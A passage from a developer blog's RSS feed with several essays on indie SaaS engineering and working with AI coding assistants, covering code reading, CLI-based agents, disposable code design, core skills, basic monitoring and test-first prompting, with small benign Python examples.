Now everyone—human and AI alike—can work with the actual state of the world instead of a beautiful fiction from three months ago.</p><h1 id="the-bottom-line">The Bottom Line</h1><p>AI coding assistants are powerful tools. Emphasis on<em>tools</em>. They’re not magic. They won’t read your mind, fix your architecture problems, or absolve you of the responsibility to understand your own codebase.</p><p>Use them strategically. Be precise. Maintain context. Write tests. Don’t let the robots drive—you’re still the one who has to explain to your manager why the production database got dropped.</p><p>And for the love of all that is holy, read the code before you merge it.</p><p>Your token budget will thank you. Your future self will thank you. And your AI assistant will stop generating those “You’re absolutely right!” responses that make you question everything.</p>
]]></content:encoded></item><item><title>The Indie Dev Edge in the Age of AI</title><link>https://lakshminp.com/2025/10/indie-dev-ai-advantage/</link><pubDate>Mon, 27 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/indie-dev-ai-advantage/</guid><category>essays</category><category>saas</category><description>Everyone and their dog’s obsessed with writing code faster.
AI makes us 10x writers. 100x typists. Whatever.
But nobody’s talking about becoming a 10x reader.
And here’s the kicker — AI is vomiting out more code than ever. Which means you need to read and understand more code than ever. The bottleneck isn’t writing anymore. It’s comprehension, judgment, and knowing when to hit delete instead of commit.
Why this Matters More Now The AI paradox Claude can churn out 500 lines of backend logic in 30 seconds. But you still have to:</description><content:encoded>&lt;![CDATA[<p>Everyone and their dog’s obsessed with writing code faster.</p><p>AI makes us 10x writers. 100x typists. Whatever.</p><p>But nobody’s talking about becoming a 10x<em>reader</em>.</p><p>And here’s the kicker — AI is vomiting out more code than ever. Which means<em>you</em> need to read and understand more code than ever. The bottleneck isn’t writing anymore. It’s comprehension, judgment, and knowing when to hit delete instead of commit.</p><h1 id="why-this-matters-more-now"><strong>Why this Matters More Now</strong></h1><h2 id="the-ai-paradox"><strong>The AI paradox</strong></h2><p>Claude can churn out 500 lines of backend logic in 30 seconds. But<em>you</em> still have to:</p><ul><li><p>Check if it actually does what you asked</p></li><li><p>Notice the subtle bug hiding in error handling</p></li><li><p>Decide whether that abstraction will come back to bite you</p></li><li><p>Understand it well enough to fix it when the PM changes the requirements tomorrow</p></li></ul><p>AI can write all the code in the world. It still can’t tell you if it’s<em>good</em>.</p><h2 id="the-reality"><strong>The reality</strong></h2><p>Juniors with AI now ship code at senior speed. The problem? They can’t tell good generated code from hot garbage. They move fast, break things… and then ask you to review it.</p><h2 id="the-unlock"><strong>The unlock</strong></h2><p>Seniors with reading chops use AI without becoming its pet. They skim generated code like Neo reading the Matrix — “yeah, that’s an off-by-one bug right there.” Reading is the gate. Writing is just the noise.</p><h1 id="the-code-reading-muscle"><strong>The Code Reading Muscle</strong></h1><p>It’s not “reading comprehension.” It’s mental pattern recognition with caffeine.</p><p><strong>Pattern recognition</strong> — You see<code>if err != nil { return nil, err }</code> and your brain whispers, “Go boilerplate, nothing to see here.”</p><p><strong>Architecture intuition</strong> — You open a repo and know where the dead bodies are buried just from the folder structure.</p><p><strong>Bug radar</strong> — That spidey-sense that tingles before you even scroll — something’s off. Usually missing validation, or someone “cleverly” sharing a global.</p><p><strong>Context switching speed</strong> — You can hop from React component → API → database query → back again without losing the plot.</p><p><strong>Abstraction unpacking</strong> — You see<code>userService.authenticate()</code> and immediately imagine the 12 files hiding behind that call.</p><p>That’s the muscle. Reading is pattern spotting at light speed.</p><h1 id="exercises-that-actually-work"><strong>Exercises That Actually Work</strong></h1><h2 id="1-the-5-minute-codebase-scan"><strong>1. The 5-Minute Codebase Scan</strong></h2><p>Pick a random GitHub repo. Small, readable.</p><p>Set a 5-minute timer. Try to answer:</p><ul><li><p>What does it do?</p></li><li><p>What’s the core abstraction?</p></li><li><p>Where would you add a new feature?</p></li><li><p>What’s the sketchiest piece of code?</p></li></ul><p>You’ll probably be wrong the first few times. Perfect. You’re training intuition, not memorizing trivia.</p><p>Start with stacks you know. Then branch out. Eventually, try reading something alien — that’s where growth hides.</p><h2 id="2-ai-code-review-roulette"><strong>2. AI Code Review Roulette</strong></h2><p>Ask Claude or ChatGPT to write something — a rate limiter, a REST API, a React hook.</p><p>Now,<em>don’t run it</em>.</p><p>Read it like a detective:</p><ul><li><p>What could break?</p></li><li><p>What smells?</p></li><li><p>What would you refactor?</p></li></ul><p>Then run it and see how wrong (or right) you were.</p><p>Do this enough and you’ll develop a sixth sense for AI bugs — the kind that crash in production at 3 a.m.</p><p>Bonus: Ask two AIs the same thing. Which one’s code would you rather maintain? Why? That’s your taste muscle forming.</p><h2 id="3-the-changelog-detective"><strong>3. The Changelog Detective</strong></h2><p>Pick a library you use every day. Go to its GitHub releases. Read the commit diffs for a minor or patch bump.</p><p>Ask:</p><ul><li><p>Why was this changed?</p></li><li><p>What broke?</p></li><li><p>What tradeoff did the maintainer choose?</p></li></ul><p>You’ll start seeing the real engineering behind the facade. That’s where mastery lives.</p><h2 id="4-explain-it-to-a-duck"><strong>4. Explain It to a Duck</strong></h2><p>Grab a gnarly function.</p><p>Now, explain it in plain English. No jargon.</p><p>If you can’t? You don’t actually understand it. Keep at it.</p><p>Bad: “It maps and filters the array.”</p><p>Good: “It finds active users in the last 30 days, sorted by login time.”</p><p>That’s real understanding. Not just parroting syntax.</p><h2 id="5-the-no-running-challenge"><strong>5. The “No Running” Challenge</strong></h2><p>Write a small program. 50–100 lines. Don’t run it.</p><p>Read it twice and predict:</p><ul><li><p>What will the output be?</p></li><li><p>Where will it break?</p></li><li><p>What edge case will it choke on?</p></li></ul><p>Then run it. Reality check time.</p><p>This builds your internal compiler — the one that helps you debug production when the system’s on fire and kubectl exec isn’t helping.</p><h1 id="how-this-compounds-over-time"><strong>How This Compounds Over Time</strong></h1><p><strong>0–2 years:</strong></p><p>You read slow. You write slow. You Google “Python for loop syntax” a lot.</p><p><strong>AI enters:</strong></p><p>Suddenly you write<em>fast</em>. But you still read like a confused tourist. You ship more bugs, faster.</p><p><strong>2–5 years:</strong></p><p>Now you read fast<em>and</em> write fast. You glance at AI output and see through it.</p><p><strong>5+ years:</strong></p><p>You can parachute into any repo and get the lay of the land in minutes. You’re debugging across services. Reading is 80% of your job. Writing is an afterthought.</p><p>Every project you touch sharpens the radar. Every bug you fix improves your mental models. Every codebase you inherit becomes easier to digest. That’s compounding.</p><p>Also: boring stacks help.</p><p>You read the same patterns — Postgres, Redis, Express — again and again until it’s second nature. No cognitive tax. Fancy tech makes you start from zero every time.</p><h1 id="daily-practice-aka-the-boring-way-that-works"><strong>Daily Practice (a.k.a. the Boring Way That Works)</strong></h1><ul><li><p><strong>Morning ritual:</strong> Read one function before writing a line. Two minutes. That’s it.</p></li><li><p><strong>PR reviews:</strong> Don’t just skim — ask<em>why</em> the author made those choices.</p></li><li><p><strong>AI pair programming:</strong> Never accept AI code blindly. Read before you run. Especially when you’re in a rush.</p></li><li><p><strong>Weekend deep dives:</strong> Pick one OSS project a month and read the core 200 lines.</p></li><li><p><strong>Bug postmortems:</strong> After fixing something, read the surrounding code. Figure out<em>why</em> it broke in the first place.</p></li></ul><p>That’s how you actually build the muscle. Quietly. Daily.</p><h1 id="dont-fake-it"><strong>Don’t Fake It</strong></h1><p>Speed reading code to “feel productive” is fake progress.</p><p>If you can’t explain it, you don’t understand it.</p><p>Red flags:</p><ul><li><p>Approving PRs faster than Slack loads</p></li><li><p>Forgetting what your own code does after a week</p></li><li><p>Acting surprised when it breaks exactly how it looks like it would</p></li></ul><p>Slow down. Read with intent. Comprehension beats velocity every single time.</p><h1 id="the-meta-skill"><strong>The Meta-Skill</strong></h1><p>AI will keep getting better at writing code. It’ll never understand<em>why</em> the code matters.</p><p>That’s your job.</p><p>The developer who can<em>read</em> code — fast, deeply, intuitively — will always win.</p><p>Start building the muscle. It ages like wine.</p><h2 id="do-this-today"><strong>Do this today:</strong></h2><p>Pick one exercise. Do it now. Time yourself. Do it again next week. You’ll notice you’re faster — not at typing, but at<em>thinking</em>.</p><p>That’s the real 10x skill nobody’s bragging about on LinkedIn.</p>
]]></content:encoded></item><item><title>You should probably ditch your IDE</title><link>https://lakshminp.com/2025/10/ditch-your-ide/</link><pubDate>Sun, 26 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/ditch-your-ide/</guid><category>essays</category><category>craft</category><description>I fire up VS Code.
It opens the last workspace I was in — half a dozen tabs, a Dockerfile, maybe a README from some unrelated task.
No clue what I was working on.
Just a vague memory: “Something about the scheduling API… or maybe a bug?”
I sit there for a moment trying to reconstruct context.
Last commit was Friday.
Today’s Tuesday.
My brain’s context window has been wiped clean by Slack pings, meetings, and weekend errands.</description><content:encoded>&lt;![CDATA[<p>I fire up VS Code.</p><p>It opens the last workspace I was in — half a dozen tabs, a Dockerfile, maybe a README from some unrelated task.</p><p>No clue what I was working on.</p><p>Just a vague memory: “Something about the scheduling API… or maybe a bug?”</p><p>I sit there for a moment trying to reconstruct context.</p><p>Last commit was Friday.</p><p>Today’s Tuesday.</p><p>My brain’s context window has been wiped clean by Slack pings, meetings, and weekend errands.</p><p>Command-P.</p><p>Type a filename I half remember.</p><p>Oh right, that test file.</p><p>Wait — did I change this in another branch?</p><p>Let me check.</p><p>Open terminal.</p><p>git branch.</p><p>Switch.</p><p>Pull.</p><p>Oops, the local container setup broke.</p><p>Right, I had containerized everything.</p><p>So now I need to run docker compose up. But then I remember there’s a VS Code extension that does it automatically. Let me find it, install it, configure it, restart VS Code.</p><p>Fifteen minutes gone.</p><p>I still haven’t written a single line of code.</p><p>This is what IDEs do to us.</p><p>They<em>feel</em> fast, but they slow us down in invisible ways.</p><p>Every step is a click, a context switch, a small distraction.</p><p>Every plugin promises convenience, but adds one more thing to babysit.</p><p>IDEs are built for humans — for our limited memory and need for visual cues.</p><p>They make us feel productive, but under the hood they’re optimizing for comfort, not speed.</p><p>Now we’re trying to stuff AI into them — Copilots, side panels, chat panes —</p><p>as if AI needs dark themes and split editors to work.</p><p>It doesn’t.</p><p>AI just needs a clean interface:</p><blockquote><p>a project tree, access to code, a goal.</p></blockquote><p>And that’s why the recent trend is fascinating —</p><p>AI tools are slowly<a href="https://x.com/kilocode/status/1981019874563399794" rel="external nofollow noopener" class="lnp-link">releasing</a><strong><a href="https://cursor.com/cli" rel="external nofollow noopener" class="lnp-link">CLI</a><a href="https://blog.google/technology/developers/introducing-gemini-cli-open-source-ai-agent/" rel="external nofollow noopener" class="lnp-link">equivalents</a></strong>.</p><p>Why? Because CLIs are where real automation lives.</p><p>They don’t need to simulate human clicks.</p><p>They just<em>do things.</em></p><p>Look at<strong>Claude Code</strong>.</p><p>It’s keyboard-first, agentic, workflow-oriented.</p><p>No panels, no mouse clicks.</p><p>Just you, the terminal, and an AI that can actually<em>act</em>.</p><p>We’re entering an era where your local environment looks less like VS Code</p><p>and more like a command center —</p><p>a space where you orchestrate AI agents that code, build, test, and deploy.</p><p>You’re still in control, but your role shifts.</p><p>From “person typing in an editor”</p><p>to “team lead directing a swarm of coding agents.”</p><p>Don’t get me wrong — IDEs aren’t evil. They’re amazing tools for focus and flow. But if you care about speed, reproducibility, and automation…</p><p>you’ll outgrow them.</p><p>Because when AI can understand your repo, navigate branches, run builds, and test code —</p><p>why would you confine it inside a tool built for human eyes and hands?</p><p>IDEs are optimized for humans, they’ve been around for decades. Suddenly we’re trying to retrofit AI coding agents inside IDEs or forking IDEs to have AI coding assistants as first class citizens, and it is severely limiting.</p><p>We’re heading somewhere new.</p><p>And the first step might just be typing “claude” instead of opening VS Code.</p>
]]></content:encoded></item><item><title>Be prepared to throw away your code</title><link>https://lakshminp.com/2025/10/throwaway-code/</link><pubDate>Mon, 20 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/throwaway-code/</guid><category>essays</category><category>craft</category><description>I used to think good code was code that lasted forever.
Elegant abstractions. Perfect separation of concerns. The kind of architecture that would make senior engineers nod approvingly during code reviews I’d never actually have.
So I’d spend hours future-proofing everything.
Designing plugin systems for features that didn’t exist yet. Building configuration layers for options nobody asked for. Creating abstractions so flexible they could handle anything — except the one thing I actually needed to ship.</description><content:encoded>&lt;![CDATA[<p>I used to think good code was code that lasted forever.</p><p>Elegant abstractions. Perfect separation of concerns. The kind of architecture that would make senior engineers nod approvingly during code reviews I’d never actually have.</p><p>So I’d spend hours future-proofing everything.</p><p>Designing plugin systems for features that didn’t exist yet. Building configuration layers for options nobody asked for. Creating abstractions so flexible they could handle anything — except the one thing I actually needed to ship.</p><p>Then one day, I had to rip out an entire auth system I’d spent two weeks perfecting.</p><p>Not because it was broken. Because the product changed direction and suddenly we needed OAuth instead of email/password.</p><p>All those beautiful interfaces, those carefully crafted base classes, those thoughtful error hierarchies — deleted in an afternoon.</p><p>And you know what hurt most? It wasn’t the wasted time.</p><p>It was how<em>hard</em> it was to delete.</p><p>The auth logic had tendrils everywhere. Every controller imported it. Every model referenced it. Every test depended on it. Removing it felt like performing surgery on a patient who was still awake.</p><p>That’s when I learned the most important lesson about indie dev architecture:</p><p><strong>The best code isn’t the code that lasts forever. It’s the code that’s easy to throw away.</strong></p><h1 id="the-permanence-trap">The Permanence Trap</h1><p>We’re taught to write code like we’re building cathedrals.</p><p>Solid foundations. Careful planning. Structure that will stand for generations.</p><p>But indie SaaS isn’t a cathedral. It’s a sandcastle at high tide.</p><p>The market shifts. Users want something different. You realize your big idea was actually three smaller ideas wearing a trench coat.</p><p>If your code assumes permanence, change becomes painful. Every pivot feels like demolition. You’ll avoid necessary changes just because the refactor is too scary.</p><h1 id="what-disposable-design-actually-looks-like">What Disposable Design Actually Looks Like</h1><p>This doesn’t mean writing sloppy code. It means writing code that’s easy to replace when you inevitably need to.</p><p>Here’s a real example from my own codebase.</p><p><strong>The permanent version</strong> (what I used to write):</p><pre><code>class AuthenticationService:
def __init__(self, token_provider, session_manager, audit_logger):
self.token_provider = token_provider
self.session_manager = session_manager
self.audit_logger = audit_logger
def authenticate(self, credentials):
# Complex authentication logic spanning 50 lines
# with calls to all the injected dependencies
pass
def refresh_token(self, old_token):
# More complex logic intertwined with session management
pass
def validate_session(self, session_id):
# Even more logic that assumes this exact architecture
pass</code></pre><p>Now imagine trying to swap this out for OAuth. You’d need to:</p><ul><li><p>Find every place that imports<code>AuthenticationService</code></p></li><li><p>Understand what each method does and how they’re used</p></li><li><p>Figure out which of your abstractions still make sense</p></li><li><p>Keep the whole system working while you rebuild it</p></li></ul><p><strong>The disposable version</strong> (what I write now):</p><pre><code>def login_user(email, password):
“”“Log in with email and password. Returns user_id or None.”“”
user = db.query(”SELECT * FROM users WHERE email = ?”, email)
if user and check_password(password, user.password_hash):
session_id = create_session(user.id)
return user.id
return None
def create_session(user_id):
“”“Create a session for user. Returns session_id.”“”
session_id = generate_token()
db.execute(”INSERT INTO sessions (id, user_id) VALUES (?, ?)”,
session_id, user_id)
return session_id</code></pre><p>Look at the difference. No grand abstractions. No injection hierarchies. Just small functions that do one thing.</p><p>When I needed to switch to OAuth? I wrote new functions:</p><pre><code>def login_with_google(oauth_code):
“”“Exchange Google OAuth code for user session.”“”
google_user = fetch_google_user(oauth_code)
user_id = get_or_create_user(google_user.email)
return create_session(user_id)</code></pre><p>Notice something? I reused<code>create_session</code> because it was generic enough. But<code>login_user</code>? Deleted. Gone. Didn’t even hesitate.</p><p>No refactoring. No careful extraction. Just wrote the new thing and removed the old thing.</p><h1 id="the-rules-of-disposable-code">The Rules of Disposable Code</h1><p><strong>1. Small, obvious functions over big, clever classes</strong></p><p>Classes accumulate dependencies. Functions are isolated. When you need to delete a function, you delete a function. When you need to delete a class, you delete a class<em>and</em> everything tangled up with it.</p><p><strong>2. Duplication is cheaper than the wrong abstraction</strong></p><p>I used to obsess over DRY (Don’t Repeat Yourself). Now I’m fine with a little repetition if it keeps things independent.</p><p>Two similar functions are easier to replace than one abstraction that tries to handle both cases.</p><p><strong>3. Keep your interfaces at the boundary, not everywhere</strong></p><p>You don’t need an interface for your database layer when you’re the only one touching it. You can always add it later when you have a reason.</p><p>Interfaces make sense at system boundaries — the edge where your code meets the world. Everywhere else, they’re just ceremony.</p><p><strong>4. Write code that explains itself, not code that needs explanation</strong></p><p>When something’s easy to delete, you need to understand it quickly. Clear names, simple flows, minimal indirection.</p><p>If you need to draw a diagram to explain how your authentication works, it’s probably too coupled to delete easily.</p><p>I know this is easier said than done, but it gets better as you consciously repeat it.</p><h1 id="when-permanence-actually-matters">When Permanence Actually Matters</h1><p>I’m not saying nothing should last.</p><p>Your database schema? That’s hard to change, so think it through.</p><p>Your user-facing API? Breaking that hurts customers, so be careful.</p><p>But your internal implementation? Your service layer? Your clever abstraction that makes you feel like a real engineer?</p><p>That stuff should be built like lego blocks, not concrete.</p><h1 id="the-real-discipline">The Real Discipline</h1><p>Here’s the paradox: writing disposable code takes more discipline than writing permanent code.</p><p>Permanent code lets you over-engineer. You can spend days on an abstraction and call it “planning ahead.”</p><p>Disposable code forces you to admit you don’t know the future. You solve today’s problem cleanly, knowing tomorrow might demand something different.</p><p>That’s harder. It requires restraint. It means resisting the urge to build the Grand Unified Framework when a simple function would do.</p><p>But it’s also freeing.</p><p>Because when the product changes — and it will — you won’t be buried under the weight of all your clever decisions.</p><p>You’ll just delete the old thing and write the new thing.</p><p>And keep shipping.</p><p><strong>TL;DR:</strong></p><p>Stop building for forever. Build for now, with the assumption that “now” is temporary. The best codebases aren’t the ones that never change — they’re the ones where change doesn’t hurt.</p>
]]></content:encoded></item><item><title>What every indie dev should master before asking AI to build for them</title><link>https://lakshminp.com/2025/10/ai-coding-prerequisites/</link><pubDate>Sun, 19 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/ai-coding-prerequisites/</guid><category>essays</category><category>saas</category><description>Before AI coding assistants, I wasted months chasing the “right stack.”
React or Vue? Flask or Django? Docker or bare VPS?
I’d open fifty tabs and still end up staring at a blinking cursor.
Now, we’re in a world where you can describe your idea and watch an AI spin up a working prototype. It feels magical — until you try to debug it.
The truth is, vibe coding only works if you understand what the AI is building for you.</description><content:encoded>&lt;![CDATA[<p>Before AI coding assistants, I wasted months chasing the “right stack.”</p><p>React or Vue? Flask or Django? Docker or bare VPS?</p><p>I’d open fifty tabs and still end up staring at a blinking cursor.</p><p>Now, we’re in a world where you can<em>describe</em> your idea and watch an AI spin up a working prototype. It feels magical — until you try to debug it.</p><p>The truth is, vibe coding only works if you understand what the AI is building for you.</p><p>Otherwise, you’re just rearranging generated code and hoping for the best.</p><p>So, before you ask AI to build your SaaS, here’s what you need to master first.</p><p>These aren’t frameworks or libraries — they’re the mental models that make AI your assistant, not your babysitter.</p><h2 id="version-control-command-the-timeline"><strong>Version Control: Command the Timeline</strong></h2><p>I used to treat Git like a magical undo button — until it undid<em>everything.</em></p><p>Even as a solo builder, Git is your safety net. Learn to branch, merge, revert, and tag with confidence.</p><p>Every “oh no” moment becomes recoverable when you know how to roll back.</p><p>🧠<em>Pro tip:</em></p><p>Integrate your favorite AI tool with GitHub’s<strong>MCP</strong>. You can tell it to open PRs, summarize diffs, or write changelogs.</p><p>But here’s the catch — to delegate effectively, you need to<em>understand</em> version control first.</p><p>Also,<strong><a href="https://marketplace.visualstudio.com/items?itemName=kahole.magit" rel="external nofollow noopener" class="lnp-link">Magit</a></strong><a href="https://marketplace.visualstudio.com/items?itemName=kahole.magit" rel="external nofollow noopener" class="lnp-link">for VSCode</a> is an underrated gem. It makes Git feel almost fun.</p><h2 id="data-model-dont-just-store"><strong>Data: Model, Don’t Just Store</strong></h2><p>No SaaS survives without a solid data model. I learned that the hard way, after my “fast” prototype crawled because I hadn’t indexed anything.</p><p>Knowing how to design schemas, choose keys, and plan migrations will save you more pain than any ORM ever could.</p><p>Your data model<em>will</em> evolve. Be ready for it.</p><p>🧠<em>AI Tip:</em></p><p>Discuss your schema with your LLM.</p><p>Ask,<em>“What should I index?”</em>,<em>“How will this evolve?”</em>, or<em>“What’s the best way to handle this relationship?”</em></p><p>You’ll get insights that feel like having a senior engineer on call.</p><h2 id="http--apis-speak-the-native-language"><strong>HTTP &amp; APIs: Speak the Native Language</strong></h2><p>Every SaaS runs on HTTP.</p><p>Learn verbs, status codes, and what to return when things go wrong.</p><p>In my early days, I’d return 200 for everything — even errors.</p><p>Don’t do that. It makes your users (and future self) miserable.</p><p>🧠<em>AI Tip:</em></p><p>Tools like<strong><a href="https://context7.com/" rel="external nofollow noopener" class="lnp-link">Context7</a></strong> make working with APIs much easier.</p><p>And yes, keep an<strong>OpenAPI spec</strong>. It’s documentation for your future self, not just a team.</p><p>(And between us — your first SaaS might not even<em>need</em> an API. We’ll talk about that soon.)</p><h2 id="authentication-shop-the-shelf"><strong>Authentication: Shop the Shelf</strong></h2><p>I built my own login systems multiple times.</p><p>It always ended with regret and sleepless nights.</p><p>Don’t code your own auth unless you’re writing a security product.</p><p>Use your framework’s built-in module, or plug in Supabase, Clerk, or Auth0. I wrote about this:</p><p>Security is not where you show creativity.</p><p>🧠<em>AI Tip:</em></p><p>LLMs can wire up cookie handling, password resets, and JWTs, but make sure<em>you</em> know where your secrets live and how they expire.</p><h2 id="frontend-literacy-communicate-dont-overcomplicate"><strong>Frontend Literacy: Communicate, Don’t Overcomplicate</strong></h2><p>Frontend used to terrify me. CSS felt like chaos, and every “simple” change broke something else.</p><p>Then I discovered the power of simple stacks — HTML, Tailwind, and maybe HTMX or Alpine.js.</p><p>You don’t need React to make a clean, usable product.</p><p>You just need enough literacy to connect your API to a button and make it look decent.</p><p>🧠<em>AI Tip:</em></p><p>AI is terrible at design. It’ll give you perfect code for ugly UIs.</p><p>Feed it visual specs instead of vague prompts.</p><p>And if you can, learn a bit of design — not to be a designer, but to avoid obvious aesthetic crimes.</p><h2 id="caching-respect-the-users-time"><strong>Caching: Respect the User’s Time</strong></h2><p>I once doubled my server bill because I didn’t cache anything.</p><p>Caching isn’t optimization — it’s respect.</p><p>You don’t need to master Redis or CDN tuning, but understand the concept:</p><p>store what doesn’t change, reuse what you can.</p><p>🧠<em>AI Tip:</em></p><p>Ask, “Where can I add caching for quick wins?”</p><p>AI can spot bottlenecks faster than you think.</p><h2 id="containers--deployment-build-once-run-anywhere"><strong>Containers &amp; Deployment: Build Once, Run Anywhere</strong></h2><p>I used to fear Docker. It felt like wizardry.</p><p>Then I realized it’s just consistency — the same environment, everywhere.</p><p>Learn how to write a Dockerfile and deploy with Docker Compose or Fly.io.</p><p>That’s 90% of what you’ll ever need early on.</p><p>Kubernetes can wait — though it’s worth knowing<em>why</em> it exists.</p><p>🧠<em>AI Tip:</em></p><p>Let the AI write your Dockerfile, but read every line.</p><p>A single bad layer can bloat your image from 100MB to 1GB.</p><h2 id="system-design-dont-overbuild--yet"><strong>System Design: Don’t Overbuild — Yet</strong></h2><p>When I first started learning about queues, event buses, and load balancers, I felt like I’d unlocked a hidden level of engineering.</p><p>I wanted to use<em>everything</em>.</p><p>So I did — and my “simple” SaaS turned into a distributed Rube Goldberg machine.</p><p>My future self hated me for it.</p><p>Here’s the quiet truth about system design:</p><p>the more you know, the more dangerous you become.</p><p>Because knowledge tempts you to overengineer.</p><p>To solve problems you don’t have yet.</p><p>To optimize for scale that may never come.</p><p>But good design isn’t about sophistication — it’s about restraint.</p><p>It’s choosing clarity today over hypothetical performance tomorrow.</p><p>🧠<em>AI Tip:</em></p><p>Ask your coding assistant to sketch a<em>simpler</em> version of what you have in mind.</p><p>Say, “Can this work without queues?” or “Can we handle this in-process first?”</p><p>Sometimes the best architecture is the one that fits in your head.</p><h2 id="observability-see-before-you-panic"><strong>Observability: See Before You Panic</strong></h2><p>The most painful bugs are the invisible ones.</p><p>You can’t fix what you can’t see.</p><p>Start simple: print logs, expose /healthz, and add uptime checks.</p><p>You don’t need fancy dashboards — just awareness.</p><p>🧠<em>AI Tip:</em></p><p>Ask your LLM to set up Sentry, logging middlewares, or structured logs.</p><p>AI is great at the boring setup — you handle the insights.</p><h2 id="shell--scripting-glue-everything-together"><strong>Shell &amp; Scripting: Glue Everything Together</strong></h2><p>Bash saved me more times than I can count.</p><p>A simple script to restart a service, clean a directory, or back up a DB — these are invisible superpowers.</p><p>Learn your way around permissions, env vars, grep, and tmux.</p><p>This is what separates the “can’t deploy” dev from the “fixed it in 5 minutes” builder.</p><p>🧠<em>AI Tip:</em></p><p>Have AI generate shell scripts — but<strong>never</strong> run them blindly.</p><p>Understand before you execute.</p><h2 id="security-the-habit-not-the-skill"><strong>Security: The Habit, Not the Skill</strong></h2><p>You might’ve noticed I didn’t give security its own section. That’s intentional.</p><p>It’s not a tool — it’s a habit.</p><p>Every time you touch authentication, data, or deployment, think:</p><blockquote><p>“If this were compromised, what breaks?”</p></blockquote><p>Use HTTPS. Hash passwords. Never hardcode secrets.</p><p>Most breaches come from negligence, not genius-level hacking. Something I like to call the<strong>ignorance debt</strong>.</p><h2 id="frameworks-languages-and-everything-else"><strong>Frameworks, Languages, and Everything Else</strong></h2><p>By now, someone will say, “But what about React? Django? Go? Rust? CI/CD?”</p><p>All valid. All secondary.</p><p>Frameworks are shortcuts, not foundations.</p><p>Languages are dialects — once you understand these fundamentals, syntax becomes trivia.</p><p>Testing, CI, and cloud scaling make sense only<em>after</em> you’ve shipped something worth scaling.</p><p>Learn these ten areas deeply, and AI suddenly becomes 10x more effective.</p><p>Because now, you know what to ask, what to skip, and when to stop it from hallucinating an entire microservice.</p><h2 id="the-indie-dev-reality"><strong>The Indie Dev Reality</strong></h2><p>Vibe coding isn’t about skipping the hard parts — it’s about<em>sequencing</em> them right.</p><p>AI gives you speed, but not direction.</p><p>These fundamentals are your compass.</p><p>Learn them once, and you’ll never fear new tools again.</p><p>Everything else — frameworks, language wars, fancy hosting — becomes optional flavor.</p><p>Because in the end, you don’t need to know everything.</p><p>You just need to know<em>enough</em> to ship, fix, and try again.</p>
]]></content:encoded></item><item><title>Your SaaS Will Break — Here’s How to See It Coming</title><link>https://lakshminp.com/2025/10/saas-monitoring-basics/</link><pubDate>Sat, 18 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/saas-monitoring-basics/</guid><category>essays</category><category>saas</category><description>You know that peaceful moment when you’ve just deployed your SaaS MVP?
No users yet. No traffic. Everything looks fine.
It’s the most deceptive calm in tech.
Because here’s what happens next:
Someone signs up. A few cron jobs kick in. A background task fails silently.
And you have no clue why.
Not because you’re a bad engineer.
But because you never gave yourself eyes.
I’ve been there — staring at a blank terminal, trying to reproduce a bug I can’t see, because I didn’t bother adding even basic observability before launch.</description><content:encoded>&lt;![CDATA[<p>You know that peaceful moment when you’ve just deployed your SaaS MVP?</p><p>No users yet. No traffic. Everything looks<em>fine</em>.</p><p>It’s the most deceptive calm in tech.</p><p>Because here’s what happens next:</p><p>Someone signs up. A few cron jobs kick in. A background task fails silently.</p><p>And you have<em>no clue</em> why.</p><p>Not because you’re a bad engineer.</p><p>But because you never gave yourself eyes.</p><p>I’ve been there — staring at a blank terminal, trying to reproduce a bug I can’t see, because I didn’t bother adding even basic observability before launch.</p><p>That’s when you realize: you don’t need users to create chaos. You just need time.</p><p>Your SaaS<em>will</em> break.</p><p>Something small. Something silly. Something preventable.</p><p>And when it does, you want breadcrumbs.</p><p>You don’t need Grafana dashboards or Prometheus metrics yet.</p><p>You just need awareness. A few tiny habits that make you less blind:</p><ul><li><p>Log errors to stdout. Your logs are your first debugger.</p></li><li><p>Add Sentry for unhandled exceptions — because one will always sneak through.</p></li><li><p>Expose a /healthz endpoint. It’s the easiest way to check if your app is even alive.</p></li><li><p>Capture latency in middleware. You don’t need histograms; just print request times.</p></li></ul><p>That’s enough.</p><p>You’re not setting up a monitoring stack. You’re giving your future self context.</p><p>You’re leaving breadcrumbs for when things go sideways.</p><p>Because when that first user says,</p><blockquote><p>“Hey, your site’s kinda slow today,”</p></blockquote><p>you’ll know where to look — not just what broke.</p><p>I can’t tell you how many times I’ve been grateful for a random log line I wrote months ago.</p><p>Future-me has sent past-me several thank-you notes.</p><p>So, before you chase new features or users…</p><p>Add observability.</p><p>Give yourself eyes. 👀</p><p>It’s the calmest insurance policy you’ll ever set up.</p>
]]></content:encoded></item><item><title>A Saner Way to Use AI for Coding</title><link>https://lakshminp.com/2025/10/ai-coding-tdd/</link><pubDate>Fri, 17 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/ai-coding-tdd/</guid><category>essays</category><category>ai-coding</category><description>It starts innocently. You ask your AI assistant to scaffold a module, maybe add a new API route. The code appears in seconds, looks neat, and even runs. You feel unstoppable.
Then a few days later, you’re knee-deep in functions you didn’t write, variables that seem to name themselves, and imports from packages you never meant to use. One small change breaks three files. You scroll through the diff wondering who wrote this mess. Spoiler: it was you — and your AI.</description><content:encoded>&lt;![CDATA[<p>It starts innocently. You ask your AI assistant to scaffold a module, maybe add a new API route. The code appears in seconds, looks neat, and even runs. You feel unstoppable.</p><p>Then a few days later, you’re knee-deep in functions you didn’t write, variables that seem to name themselves, and imports from packages you never meant to use. One small change breaks three files. You scroll through the diff wondering who wrote this mess. Spoiler: it was you — and your AI.</p><p>I use Augment Code mostly, but honestly, this happens with every tool. The moment you hand over the steering wheel, AI does what it does best —<em>over-generate.</em> It tries to impress you with completeness, not clarity.</p><p>That’s when I flipped the workflow.</p><p>Instead of saying, “write me this feature,” I started saying, “here’s the test — make it pass.”</p><p>Suddenly, everything changed. The AI stopped building castles and started laying bricks.</p><p>When you write the tests first, you define the boundaries. You decide what “done” means. The AI only fills in the minimum needed to make the tests go green. It doesn’t have permission to invent architecture. You stay in control.</p><p>This is just test-driven development (TDD), but with a twist: the AI 